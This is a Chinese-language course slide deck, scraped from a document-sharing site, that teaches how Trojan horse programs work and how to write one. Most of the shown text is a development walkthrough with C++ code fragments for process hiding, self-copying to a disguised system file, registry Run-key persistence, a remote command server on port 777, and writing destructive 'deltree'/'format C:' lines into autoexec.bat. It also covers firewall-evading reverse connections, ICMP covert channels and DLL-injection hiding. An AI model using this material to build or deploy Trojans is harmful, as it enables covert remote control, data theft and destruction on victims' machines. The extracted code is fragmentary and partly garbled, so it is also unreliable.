特洛伊木马.ppt
《特洛伊木马.ppt》由会员分享,可在线阅读,更多相关《特洛伊木马.ppt(83页珍藏版)》请在淘文阁 - 分享文档赚钱的网站上搜索。
1、一种特殊的病毒特洛伊木马(Trojan horse),特洛伊木马电影图片,本章的学习目标,掌握特洛伊木马的概念 了解木马技术的发展趋势 掌握木马开发实例 理解木马的关键技术 掌握木马攻击的方法 掌握木马防范方法,章节主要内容,1 木马的概述 2 木马程序的开发实例 3 木马程序的关键技术 4 木马攻击的清除及其相关经验 5 木马检测及清除代码,特洛伊木马(Trojan Horse) 是一种与远程计算机之间建立起连接,使远程计算机能够通过网络控制用户计算机系统并且可能造成用户的信息损失、系统损坏甚至瘫痪的程序。 木马的组成 硬件:控制端、服务端、Internet 软件:控制端程序、木马程序、木马
2、配置程序 连接:控制、服务端IP, 控制、服务端Port,流行木马的基本特征,1、隐蔽性是其首要的特征 木马和远程控制软件的最主要区别 不产生图标 不出现在任务管理器中。 2、它具有自动运行性 启动文件、启动组、注册表,3、木马程序具有欺骗性 名字方式:字母“l”与数字“1”、字母“o”与数字“0” 相同文件名但不同路径 常用图标:Zip 4、具备自动恢复功能(高级技术) 5、能自动打开特别的端口 6、功能的特殊性 搜索缓存中的口令、设置口令、扫描目标机器的IP地址、进行键盘记录、远程注册表的操作、以及锁定鼠标等功能 7、黑客组织趋于公开化,木马的分类,1、远程控制型木马 BO和冰河 2、发送
3、密码型木马 3、键盘纪录型木马 4、破坏型木马 5、FTP型木马,远程控制、木马与病毒,木马和控制软件 目的不同 有些木马具有控制软件的所有功能 是否隐藏 木马和普通病毒 传播性(木马不如病毒) 两者相互融合 木马程序YAI采用了病毒技术 “红色代码”病毒已经具有木马的远程控制功能,木马的发展方向,1、跨平台性 2、模块化设计 3、更新更强的感染模式 4、即时通知 5、更强更多的功能,2 木马程序的开发实例,编程语言选择 以CSocket为基类生成CMySocket类。CMySocket类的功能是用来使本程序变成一个服务器程序。,自动隐藏,/ Win9x隐藏技术 DWORD dwVersion
4、 = GetVersion(); / 得到操作系统的版本号 if (dwVersion = 0 x80000000) / 操作系统是Win9x,不是WinNt typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD); /定义RegisterServiceProcess() 函数的原型 HINSTANCE hDLL; LPREGISTERSERVICEPROCESS lpRegisterServiceProcess; hDLL = LoadLibrary(KERNEL32.dll); /加载RegisterServicePr
5、ocess()函数所在的动态链接库KERNEL32.DLL lpRegisterServiceProcess =(LPREGISTERSERVICEPROCESS)GetProcAddress( hDLL,RegisterServiceProcess); /得到RegisterServiceProcess()函数的地址 lpRegisterServiceProcess(GetCurrentProcessId(),1); /执行RegisterServiceProcess()函数,隐藏本进程 FreeLibrary(hDLL); /卸载动态链接库 ,用RegisterServiceProcess
6、函数实现后台服务进程。 未公开核心函数 Win NT 2K下怎么实现?,自动加载,木马的第一次执行 如何实现第一次以后的自动加载? 注册表 代码功能: HKLMSoftwareMicrosoftWindowsCurrentVersionRun %System%Tapi32,CopyFile( commandline, SystemPath+Tapi32.exe, FALSE); /将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来 registry-Open(HKEY_LOCAL_MACHINE,SoftwareMicrosoftWindowsCurrentVersio
7、nRun); registry-QueryValue(TempPath,crossbow, ,Server端功能命令接收,接下来就是启动Server端的Socket来接收客户端的命令。 Port 777 核心代码: pSocket-Receive( lpBuf, 1000); /接收客户端数据 if(strnicmp(lpBuf,CMD:,4) = 0) ExecuteCommand( lpBuf , FALSE); /执行远端应用程序 else if(strnicmp(lpBuf,!SHUT,5) = 0) SendText( Exit program!, pSocket ); OnExit
8、(); /退出木马程序,将要实现的功能:,Server端功能修改配置,Autoexec.bat和Config.sys 代码: _chmod(c:autoexec.bat, S_IREAD | S_IWRITE); _chmod(c:config.sys, S_IREAD | S_IWRITE); fwrite(content,sizeof(char),strlen(content),fp); /写入添加的语句,例如deltree -y C:或者format q C:,Server端功能实现list命令,CFileFind finder; BOOL bWorking = finder.FindF
9、ile(*.*); while (bWorking) /循环得到下一层文件或目录 bWorking = finder.FindNextFile(); if ( finder.IsDots() | finder.IsDirectory() ) strResult = Dire: ; else strResult = File: ; strResult += finder.GetFileName(); strResult += n; SendText( strResult, pSocket ); /返回Return_Text变量的内容,Server端功能实现View命令,int Read_Num=
10、fread(temp_content, 1, 300, fp); /从目标文件中读入前300个字符 while(Read_Num=300) strResult += (CString)temp_content; /strResult的内容加上刚才的字符 for(int i=0;i300;i+) temp_contenti=0; Read_Num=fread(temp_content, 1, 300, fp); /重复 ;,Server端功能操作硬件,mciSendString(“set cdaudio door open”, NULL, 0, NULL);/弹出光驱的托盘 mciSendStr
11、ing(Set cdaudio door closed wait, NULL, 0, NULL);/收入光驱的托盘,Server端功能远程reboot,/Win9x重启 ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0); /操作系统是WinNt OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ,Client端功能,客户端的任务仅仅是发送命令和接收反馈信息而以。 首先,在Visual Studio环境下新建一个基于Dialog的应用程序; 接着,在这个窗体上放置一
12、些控件。这些控件用于输入IP,Port,命令以及执行某些动作。 最后,添加CCommandSocket类(其基类是CSocket类)到当前工程,该类用于和Server端通讯。,发送命令的代码如下: m_ptrComSocket-Send(void *)m_msg, m_msg.GetLength() ); 从服务器端获取反馈信息 ReceiveResult(m_msg); 断开Socket通讯的代码如下: m_ptrComSocket-Close(); 代码及演示,下列问题就值得仔细考虑: 首先是程序的大小问题; 还有启动方式的选择; 木马的功能还可以大大扩充; 杀掉防火墙和杀毒软件; 针对来
13、自反汇编工具的威胁; 自动卸载等。,3 木马程序的关键技术,木马程序技术发展的4个阶段: 第一阶段主要实现简单的密码窃取、发送等功能,没有什么特别之处。 第二阶段在技术上有了很大的进步,主要体现在隐藏、控制等方面。国内冰河可以说是这个阶段的典型代表之一。 第三阶段在数据传递技术上做了不小的改进,出现了基于ICMP协议的木马,这种木马利用ICMP协议的畸形报文传递数据,增加了查杀的难度。 第四阶段在进程隐藏方面做了非常大的改动,采用了内核插入式的嵌入方式,利用远程插入线程技术嵌入DLL线程,或者挂接PSAPI实现木马程序的隐藏。即使在Windows NT/2K下,这些技术都达到了良好的隐藏效果。
14、 相信,第五代木马的技术更加先进。,Socket技术,重要的系统文件,win.ini文件中的启动加载项:windwos段中有如下加载项: run= Load= system.ini中的启动加载项:在BOOT子项中的“Shell”项: shell=,修改注册表,HKEY_CLASSES_ROOT:此处存储的信息可以确保当使用Windows资源管理器打开文件时,将使用正确的应用程序打开对应的文件类型。 HKEY_CURRENT_USER:存放当前登录用户的有关信息。用户文件夹、屏幕颜色和“控制面板”设置存储在此处。该信息被称为用户配置文件。 HKEY_LOCAL_MACHINE:包含针对该计算机(
15、对于任何用户)的配置信息。 HKEY_USERS:存放计算机上所有用户的配置文件。 HKEY_CURRENT_CONFIG:包含本地计算机在系统启动时所用的硬件配置文件信息。 HKEY_DYN_DATA:记录系统运行时刻的状态。,(Run), (RunOnce), (RunOnceEx), (RunServices), (RunServicesOnce) 20多个API函数,修改文件关联,当你打开了一个已修改了打开关联的文件时,木马也就开始了它的运作。 选择文件格式中的“打开”、“编辑”、“打印”项目。 例如冰河木马病毒 HKEY_CLASSES_ROOTtxtfileshellopencom
16、mand中的键值 “c:windowsnotepad.exe %1”,改为“sysexplr.exe %1”。,远程屏幕抓取,如果键盘和鼠标事件记录不能满意时, 需要抓取被控制端屏幕,形成一个位图文件,然后把该文件发送到控制端计算机显示出来。,输入设备控制,通过网络控制目标机的鼠标和键盘,以达到模拟鼠标和键盘的功能。 使用技术:Keybd_event,mouse_event /模拟A键按键过程 keybd_event(65,0,0,0); keybd_event(65,0,KEYEVENTF_KEYUP,0);,/模拟按下左键 GetCursorPos(,远程文件管理,操作目标机文件的方式通常
17、有两种: 一种是共享目标机的硬盘,进行任意的文件操作; 另一种是把自己的计算机配置为FTP(File Transfer Protocol,文件传输协议)服务器。 使用函数 CInternetSession GetFtpConnection GetFile PutFile,共享硬盘数据,Windows 2000/NT/XP: HKEY_LOCAL_MACHINESYSTEMControlSet001ServiceslanmanserverShares Windows 9x: HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionNetwo
18、rkLanMan Flags /类型 Path /目录 Remark /备注 Type Parm1enc Parm2enc,隐藏技术反弹式木马技术,定义: 利用防火墙对内部发起的连接请求无条件信任的特点,假冒是系统的合法网络请求来取得对外的端口,再通过某些方式连接到木马的客户端,从而窃取用户计算机的资料同时遥控计算机本身。,反弹式木马访问客户端的80端口,防火墙无法限制。 例如,“网络神偷” 防范:使用个人防火墙,其采用独特的“内墙”方式应用程序访问网络规则。,隐藏技术用ICMP方法隐藏连接,TCP UDP木马的弱点:等待和运行的过程中,始终有一个和外界联系的端口打开着。 原理: 由于ICMP
19、报文是由系统内核或进程直接处理而不是通过端口,这就给木马一个摆脱端口的绝好机会。 木马将自己伪装成一个Ping的进程,系统就会将ICMP_ECHOREPLY(Ping的回包)的监听、处理权交给木马进程。 一旦事先约定好的ICMP_ECHOREPLY包出现(可以判断包大小、ICMP_SEQ等特征),木马就会接受、分析并从报文中解码出命令和数据。 即使防火墙过滤ICMP报文,一般也不过率ICMP_ECHOREPLY包,否则就不能进行Ping操作了。因此,具有对于防火墙和网关的穿透能力。,隐藏技术隐藏端口,为了隐藏端口,采用两种思路:寄生和潜伏 寄生就是找一个已经打开的端口,寄生其上,平时只是监听,
20、遇到特殊的指令就进行解释执行。 潜伏是说使用IP协议族中的其它协议而不是TCP或UDP来进行通讯,从而瞒过Netstat和端口扫描软件。一种比较常见的潜伏手段是使用ICMP协议。 其他方法:对网卡或Modem进行底层的编程。,隐藏技术NT进程的隐藏,进程 和 端口 联系在一起的方法很常见。因此,需要隐藏进程来达到隐藏木马的目的。 实现进程隐藏有两种思路: 第一是让系统管理员看不见(或者视而不见)你的进程; 第二是不使用进程。,能否使用第一种方式? 在Windows中有多种方法能够看到进程的存在: PSAPI(Process Status API); PDH(Performance Data H
21、elper); ToolHelp API。 如果我们能够欺骗用户和入侵检测软件用来查看进程的函数(例如截获相应的API调用,替换返回的数据),我们就完全能实现进程隐藏。 但是存在两个难题: 一来我们并不知道用户和入侵软件使用的是什么方法来查看进程列表; 二来如果我们有权限和技术实现这样的欺骗,我们就一定能使用其它的方法更容易的实现进程的隐藏。,使用第二种方式最流行。 DLL是Windows系统的另一种“可执行文件”。DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。 假设我们编
22、写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如资源管理器Explorer.exe,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员而为所欲为。,用DLL实现木马功能,用DLL实现木马功能,然后,用其他程序启动该DLL. 有三种方式: 最简单的方式RUNDLL32 特洛伊DLL 线程插入技术,最简单的方式RUNDLL32 Rundll32 DllFileName FuncName Rundll32.exe MyDll.dll MyFunc 程序演示(
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 特洛伊木马
限制150内